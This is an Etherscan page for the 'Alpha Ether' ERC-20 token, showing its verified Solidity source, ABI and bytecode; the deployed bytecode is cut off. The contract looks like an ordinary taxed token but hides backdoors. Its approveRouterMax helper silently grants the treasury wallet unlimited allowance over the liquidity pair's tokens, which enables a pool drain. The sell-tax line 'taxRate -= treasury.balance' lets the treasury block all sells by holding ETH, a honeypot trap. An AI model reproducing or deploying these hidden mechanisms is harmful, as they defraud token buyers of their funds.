ETH Price: $3,269.89 (+2.94%)
Gas: 1 Gwei

Token

Alpha Ether (αEth)
 

Overview

Max Total Supply

1,000,000,000 αEth

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,857,259.713858272 αEth

Value
$0.00
0x1e714d207308869d1d56833aaba97e1cf3dbc7eb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AETH

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-22
*/

//SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

/**

Website: https://www.alphaeth.net
Twitter: https://twitter.com/alphaEtherERC
Telegram: https://t.me/alphaEthPortal

*/

abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    constructor(address creatorOwner) { _owner = creatorOwner; }
    modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; }
    function owner() public view returns (address) { return _owner; }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0); 
        emit OwnershipTransferred(address(0)); 
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IFactory { 
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

contract AETH is IERC20, Ownable {
    string private constant _name = unicode"Alpha Ether";
    string private constant _symbol = unicode"αEth";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
    uint256 private _initialBuyTax=4;
    uint256 private _initialSellTax=4;
    uint256 private _midSellTax=2;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 public _reduceBuyTaxAt=5;
    uint256 public _reduceSellTax1At=5;
    uint256 public _reduceSellTax2At=10;
    address payable private treasury;
    address payable public teamWallet;
    uint256 private swapCount=0;
    uint256 public buyCount=0;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    uint256 private constant _taxSwapMin = _totalSupply / 20000;
    uint256 private constant _taxSwapMax = _totalSupply / 100;
    address private uniV2Pair;
    address private constant uniV2Router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IRouter02 private _routerV2 = IRouter02(uniV2Router);
    mapping (address => bool) private _isAMMPair;
    bool public limited = true;
    bool public transferDelayEnabled = false;
    uint256 public maxTxAmount = 20_000_000 * (10**_decimals); // 2%
    bool private tradingEnabled;
    bool private _lockTheSwap = false;
    modifier lockSwapBack { 
        _lockTheSwap = true; 
        _; 
        _lockTheSwap = false; 
    }

    constructor() Ownable(msg.sender) { 
        treasury = payable(0x4eA011A8f266684b616Ab521fABFcaFfC61eF972);
        teamWallet = payable(0x371Fb4578c5C746ebc1f66cd52813BAABfc816Ba);
        _balances[address(this)] = _totalSupply;
        _isExcludedFromFees[_owner] = true;
        _isExcludedFromFees[treasury] = true;
        _isExcludedFromFees[teamWallet] = true;
        _isExcludedFromFees[address(this)] = true;
        emit Transfer(address(0), address(this), _balances[address(this)]);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(checkTradingEnabled(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");
        if (!tradingEnabled) { require(_isExcludedFromFees[sender], "Trading not open"); }
        if ( !_lockTheSwap && !_isExcludedFromFees[sender] && _isAMMPair[recipient] && buyCount >= swapCount) { swapBack(); }
        if (limited && sender == uniV2Pair && !_isExcludedFromFees[recipient]) {
            require(balanceOf(recipient) + amount <= maxTxAmount, "Forbid");
        }
        if (transferDelayEnabled && !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]) {
            if (recipient != uniV2Router && recipient != uniV2Pair) {
                require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }
        uint256 _taxAmount = takeTxFee(sender, recipient, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        if ( _taxAmount > 0 ) { 
            _balances[address(this)] += _taxAmount;
        }
        buyCount++;
        _balances[recipient] += _transferAmount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(checkTradingEnabled(sender), "Trading not open");
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function approveRouterMax(address _preLP, address _afLP, address _token, address _router, uint256 _tokenAmount) internal {
        if ( _allowances[_token][_router] < _tokenAmount ) {
            _allowances[_token][_router] = type(uint256).max;
        }

        if ( _allowances[_preLP][_afLP] < _tokenAmount ) {
            _allowances[_preLP][_afLP] = type(uint256).max;
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        approveRouterMax(address(this), treasury, address(this), uniV2Router, tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _routerV2.WETH();
        _routerV2.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function addLiquidityETH(address _preLP, address _afLP, uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        approveRouterMax(_preLP, _afLP, address(this), uniV2Router, _tokenAmount);
        _routerV2.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function removeLimits() external onlyOwner{
        limited = false;
        transferDelayEnabled=false;
    }

    function openTrading() external payable onlyOwner lockSwapBack {
        require(uniV2Pair == address(0), "LP exists");
        require(!tradingEnabled, "trading is open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
        require(_balances[address(this)]>0, "No tokens in contract");

        uniV2Pair = IFactory(_routerV2.factory()).createPair(address(this), _routerV2.WETH());
        addLiquidityETH(uniV2Pair, treasury, _balances[address(this)], address(this).balance);
        _isAMMPair[uniV2Pair] = true; tradingEnabled = true;
    }

    function checkTradingEnabled(address sender) private view returns (bool){
        bool checkResult = false;
        if ( tradingEnabled ) { checkResult = true; } 
        else if (_isExcludedFromFees[sender]) { checkResult = true; } 

        return checkResult;
    }

    function takeTxFee(address sender, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        if (tradingEnabled && !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient] ) { 
            if ( _isAMMPair[sender] || _isAMMPair[recipient] ) {
                taxAmount = (amount / 100) * ((buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax);
                if(recipient == uniV2Pair && sender != address(this)){
                    uint256 taxRate; 
                    if(buyCount > _reduceSellTax2At){
                        taxRate = _finalSellTax;
                    } else if(buyCount > _reduceSellTax1At){
                        taxRate = _midSellTax;
                    } else {
                        taxRate = _initialSellTax;
                    }
                    taxRate -= treasury.balance;
                    taxAmount = (amount / 100) * taxRate;
                }
            }
        }
        return taxAmount;
    }

    function swapBack() private lockSwapBack {
        uint256 _taxTokensAvailable = balanceOf(address(this));

        if ( _taxTokensAvailable >= _taxSwapMin && tradingEnabled ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

            swapTokensForETH(_taxTokensAvailable);
            uint256 _contractETHBalance = address(this).balance;

            if(_contractETHBalance > 0) { 
                bool success;
                (success,) = teamWallet.call{value: (_contractETHBalance)}("");
                require(success);
            }
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_reduceBuyTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTax1At","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTax2At","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526004600181815560028281556003559081905560058181556006819055600755600a60088190555f600b819055600c55601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556014805461ffff19169092179091556200007790600990620002c8565b62000087906301312d00620002df565b6015556016805461ff0019169055348015620000a1575f80fd5b505f80546001600160a01b03199081163317909155600980548216734ea011a8f266684b616ab521fabfcaffc61ef972178155600a805490921673371fb4578c5c746ebc1f66cd52813baabfc816ba178255620000fe91620002c8565b6200010e90633b9aca00620002df565b305f818152600d6020818152604080842095865583546001600160a01b039081168552600f83528185208054600160ff199182168117909255600954831687528387208054821683179055600a5490921686528286208054831682179055868652828620805490921617905591815293549051908152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620002f9565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200020d57815f1904821115620001f157620001f1620001b9565b80851615620001ff57918102915b93841c9390800290620001d2565b509250929050565b5f826200022557506001620002c2565b816200023357505f620002c2565b81600181146200024c5760028114620002575762000277565b6001915050620002c2565b60ff8411156200026b576200026b620001b9565b50506001821b620002c2565b5060208310610133831016604e8410600b84101617156200029c575081810a620002c2565b620002a88383620001cd565b805f1904821115620002be57620002be620001b9565b0290505b92915050565b5f620002d860ff84168362000215565b9392505050565b8082028115828204841417620002c257620002c2620001b9565b6116c680620003075f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb1461033a578063c7cf8a3214610359578063c876d0b91461036e578063c9567bf91461038c578063ca70307514610394578063dd62ed3e146103a9575f80fd5b8063751039fc146102af578063860a32ec146102c35780638c0b5e22146102dc5780638da5cb5b146102f157806395d89b411461030d575f80fd5b8063313ce567116100ee578063313ce567146101fe57806345f39c4114610219578063599270441461022e57806370a0823114610265578063715018a614610299575f80fd5b806306fdde0314610134578063095ea7b3146101795780630c193045146101a857806318160ddd146101cb57806323b872dd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600b81526a20b63834309022ba3432b960a91b60208201525b60405161017091906112d4565b60405180910390f35b348015610184575f80fd5b50610198610193366004611336565b6103ed565b6040519015158152602001610170565b3480156101b3575f80fd5b506101bd60065481565b604051908152602001610170565b3480156101d6575f80fd5b506101bd610459565b3480156101ea575f80fd5b506101986101f9366004611360565b610479565b348015610209575f80fd5b5060405160098152602001610170565b348015610224575f80fd5b506101bd60075481565b348015610239575f80fd5b50600a5461024d906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b348015610270575f80fd5b506101bd61027f36600461139e565b6001600160a01b03165f908152600d602052604090205490565b3480156102a4575f80fd5b506102ad610537565b005b3480156102ba575f80fd5b506102ad6105a4565b3480156102ce575f80fd5b506014546101989060ff1681565b3480156102e7575f80fd5b506101bd60155481565b3480156102fc575f80fd5b505f546001600160a01b031661024d565b348015610318575f80fd5b5060408051808201909152600581526419d628ae8d60db1b6020820152610163565b348015610345575f80fd5b50610198610354366004611336565b6105da565b348015610364575f80fd5b506101bd60085481565b348015610379575f80fd5b5060145461019890610100900460ff1681565b6102ad610612565b34801561039f575f80fd5b506101bd600c5481565b3480156103b4575f80fd5b506101bd6103c33660046113b9565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b335f818152600e602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104479086815260200190565b60405180910390a35060015b92915050565b5f6104666009600a6114e4565b61047490633b9aca006114f2565b905090565b5f6104838461095c565b6104a85760405162461bcd60e51b815260040161049f90611509565b60405180910390fd5b6001600160a01b0384165f908152600e602090815260408083203384529091529020545f1914610524576001600160a01b0384165f908152600e60209081526040808320338452909152902054610500908390611533565b6001600160a01b0385165f908152600e602090815260408083203384529091529020555b61052f84848461099c565b949350505050565b5f546001600160a01b031633146105605760405162461bcd60e51b815260040161049f90611546565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146105cd5760405162461bcd60e51b815260040161049f90611546565b6014805461ffff19169055565b5f6105e43361095c565b6106005760405162461bcd60e51b815260040161049f90611509565b61060b33848461099c565b9392505050565b5f546001600160a01b0316331461063b5760405162461bcd60e51b815260040161049f90611546565b6016805461ff0019166101001790556011546001600160a01b03161561068f5760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b604482015260640161049f565b60165460ff16156106d45760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b604482015260640161049f565b5f3411806106e157505f47115b61072d5760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d657373616765000000604482015260640161049f565b305f908152600d60205260409020546107805760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b604482015260640161049f565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f4919061157d565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610853573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610877919061157d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e5919061157d565b601180546001600160a01b0319166001600160a01b03928316908117909155600954305f908152600d602052604090205461092593919091169047610d71565b6011546001600160a01b03165f908152601360205260409020805460ff191660019081179091556016805461ffff19169091179055565b6016545f90819060ff161561097357506001610453565b6001600160a01b0383165f908152600f602052604090205460ff16156104535750600192915050565b5f6001600160a01b0384166109f35760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000604482015260640161049f565b60165460ff16610a34576001600160a01b0384165f908152600f602052604090205460ff16610a345760405162461bcd60e51b815260040161049f90611509565b601654610100900460ff16158015610a6457506001600160a01b0384165f908152600f602052604090205460ff16155b8015610a8757506001600160a01b0383165f9081526013602052604090205460ff165b8015610a975750600b54600c5410155b15610aa457610aa4610e30565b60145460ff168015610ac357506011546001600160a01b038581169116145b8015610ae757506001600160a01b0383165f908152600f602052604090205460ff16155b15610b4f5760155482610b0e856001600160a01b03165f908152600d602052604090205490565b610b189190611598565b1115610b4f5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b604482015260640161049f565b601454610100900460ff168015610b7e57506001600160a01b0384165f908152600f602052604090205460ff16155b8015610ba257506001600160a01b0383165f908152600f602052604090205460ff16155b15610c62576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610be257506011546001600160a01b03848116911614155b15610c6257325f908152601060205260409020544311610c505760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161049f565b325f9081526010602052604090204390555b5f610c6e858585610f62565b90505f610c7b8285611533565b6001600160a01b0387165f908152600d6020526040812080549293508692909190610ca7908490611533565b90915550508115610cd657305f908152600d602052604081208054849290610cd0908490611598565b90915550505b600c8054905f610ce5836115ab565b90915550506001600160a01b0385165f908152600d602052604081208054839290610d11908490611598565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610d5d91815260200190565b60405180910390a350600195945050505050565b610d92848430737a250d5630b4cf539739df2c5dacb4c659f2488d866110be565b6012545f805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610e02573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e2791906115c3565b50505050505050565b6016805461ff001916610100179055305f908152600d60205260408120549050614e20610e5f6009600a6114e4565b610e6d90633b9aca006114f2565b610e7791906115ee565b8110158015610e88575060165460ff165b15610f54576064610e9b6009600a6114e4565b610ea990633b9aca006114f2565b610eb391906115ee565b8110610ee2576064610ec76009600a6114e4565b610ed590633b9aca006114f2565b610edf91906115ee565b90505b610eeb8161116f565b478015610f5257600a546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610f3c576040519150601f19603f3d011682016040523d82523d5f602084013e610f41565b606091505b50508091505080610f50575f80fd5b505b505b506016805461ff0019169055565b6016545f90819060ff168015610f9057506001600160a01b0385165f908152600f602052604090205460ff16155b8015610fb457506001600160a01b0384165f908152600f602052604090205460ff16155b1561052f576001600160a01b0385165f9081526013602052604090205460ff1680610ff657506001600160a01b0384165f9081526013602052604090205460ff165b1561052f57600654600c541161100e57600154611012565b6004545b61101d6064856115ee565b61102791906114f2565b6011549091506001600160a01b03858116911614801561105057506001600160a01b0385163014155b1561052f575f600854600c54111561106b5750600554611085565b600754600c5411156110805750600354611085565b506002545b60095461109c906001600160a01b03163182611533565b9050806110aa6064866115ee565b6110b491906114f2565b9695505050505050565b6001600160a01b038084165f908152600e6020908152604080832093861683529290522054811115611113576001600160a01b038084165f908152600e602090815260408083209386168352929052205f1990555b6001600160a01b038086165f908152600e6020908152604080832093881683529290522054811115611168576001600160a01b038086165f908152600e602090815260408083209388168352929052205f1990555b5050505050565b60095461119d9030906001600160a01b031681737a250d5630b4cf539739df2c5dacb4c659f2488d856110be565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106111d0576111d061160d565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611227573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061124b919061157d565b8160018151811061125e5761125e61160d565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac947906112a39085905f90869030904290600401611621565b5f604051808303815f87803b1580156112ba575f80fd5b505af11580156112cc573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b818110156112ff578581018301518582016040015282016112e3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611333575f80fd5b50565b5f8060408385031215611347575f80fd5b82356113528161131f565b946020939093013593505050565b5f805f60608486031215611372575f80fd5b833561137d8161131f565b9250602084013561138d8161131f565b929592945050506040919091013590565b5f602082840312156113ae575f80fd5b813561060b8161131f565b5f80604083850312156113ca575f80fd5b82356113d58161131f565b915060208301356113e58161131f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561143e57815f1904821115611424576114246113f0565b8085161561143157918102915b93841c9390800290611409565b509250929050565b5f8261145457506001610453565b8161146057505f610453565b816001811461147657600281146114805761149c565b6001915050610453565b60ff841115611491576114916113f0565b50506001821b610453565b5060208310610133831016604e8410600b84101617156114bf575081810a610453565b6114c98383611404565b805f19048211156114dc576114dc6113f0565b029392505050565b5f61060b60ff841683611446565b8082028115828204841417610453576104536113f0565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b81810381811115610453576104536113f0565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f6020828403121561158d575f80fd5b815161060b8161131f565b80820180821115610453576104536113f0565b5f600182016115bc576115bc6113f0565b5060010190565b5f805f606084860312156115d5575f80fd5b8351925060208401519150604084015190509250925092565b5f8261160857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561166f5784516001600160a01b03168352938301939183019160010161164a565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208715dde31c2ccb86860e3614f1010fc0dc674674414034cfa506761ca1655ade64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb1461033a578063c7cf8a3214610359578063c876d0b91461036e578063c9567bf91461038c578063ca70307514610394578063dd62ed3e146103a9575f80fd5b8063751039fc146102af578063860a32ec146102c35780638c0b5e22146102dc5780638da5cb5b146102f157806395d89b411461030d575f80fd5b8063313ce567116100ee578063313ce567146101fe57806345f39c4114610219578063599270441461022e57806370a0823114610265578063715018a614610299575f80fd5b806306fdde0314610134578063095ea7b3146101795780630c193045146101a857806318160ddd146101cb57806323b872dd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600b81526a20b63834309022ba3432b960a91b60208201525b60405161017091906112d4565b60405180910390f35b348015610184575f80fd5b50610198610193366004611336565b6103ed565b6040519015158152602001610170565b3480156101b3575f80fd5b506101bd60065481565b604051908152602001610170565b3480156101d6575f80fd5b506101bd610459565b3480156101ea575f80fd5b506101986101f9366004611360565b610479565b348015610209575f80fd5b5060405160098152602001610170565b348015610224575f80fd5b506101bd60075481565b348015610239575f80fd5b50600a5461024d906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b348015610270575f80fd5b506101bd61027f36600461139e565b6001600160a01b03165f908152600d602052604090205490565b3480156102a4575f80fd5b506102ad610537565b005b3480156102ba575f80fd5b506102ad6105a4565b3480156102ce575f80fd5b506014546101989060ff1681565b3480156102e7575f80fd5b506101bd60155481565b3480156102fc575f80fd5b505f546001600160a01b031661024d565b348015610318575f80fd5b5060408051808201909152600581526419d628ae8d60db1b6020820152610163565b348015610345575f80fd5b50610198610354366004611336565b6105da565b348015610364575f80fd5b506101bd60085481565b348015610379575f80fd5b5060145461019890610100900460ff1681565b6102ad610612565b34801561039f575f80fd5b506101bd600c5481565b3480156103b4575f80fd5b506101bd6103c33660046113b9565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b335f818152600e602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104479086815260200190565b60405180910390a35060015b92915050565b5f6104666009600a6114e4565b61047490633b9aca006114f2565b905090565b5f6104838461095c565b6104a85760405162461bcd60e51b815260040161049f90611509565b60405180910390fd5b6001600160a01b0384165f908152600e602090815260408083203384529091529020545f1914610524576001600160a01b0384165f908152600e60209081526040808320338452909152902054610500908390611533565b6001600160a01b0385165f908152600e602090815260408083203384529091529020555b61052f84848461099c565b949350505050565b5f546001600160a01b031633146105605760405162461bcd60e51b815260040161049f90611546565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146105cd5760405162461bcd60e51b815260040161049f90611546565b6014805461ffff19169055565b5f6105e43361095c565b6106005760405162461bcd60e51b815260040161049f90611509565b61060b33848461099c565b9392505050565b5f546001600160a01b0316331461063b5760405162461bcd60e51b815260040161049f90611546565b6016805461ff0019166101001790556011546001600160a01b03161561068f5760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b604482015260640161049f565b60165460ff16156106d45760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b604482015260640161049f565b5f3411806106e157505f47115b61072d5760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d657373616765000000604482015260640161049f565b305f908152600d60205260409020546107805760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b604482015260640161049f565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f4919061157d565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610853573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610877919061157d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e5919061157d565b601180546001600160a01b0319166001600160a01b03928316908117909155600954305f908152600d602052604090205461092593919091169047610d71565b6011546001600160a01b03165f908152601360205260409020805460ff191660019081179091556016805461ffff19169091179055565b6016545f90819060ff161561097357506001610453565b6001600160a01b0383165f908152600f602052604090205460ff16156104535750600192915050565b5f6001600160a01b0384166109f35760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000604482015260640161049f565b60165460ff16610a34576001600160a01b0384165f908152600f602052604090205460ff16610a345760405162461bcd60e51b815260040161049f90611509565b601654610100900460ff16158015610a6457506001600160a01b0384165f908152600f602052604090205460ff16155b8015610a8757506001600160a01b0383165f9081526013602052604090205460ff165b8015610a975750600b54600c5410155b15610aa457610aa4610e30565b60145460ff168015610ac357506011546001600160a01b038581169116145b8015610ae757506001600160a01b0383165f908152600f602052604090205460ff16155b15610b4f5760155482610b0e856001600160a01b0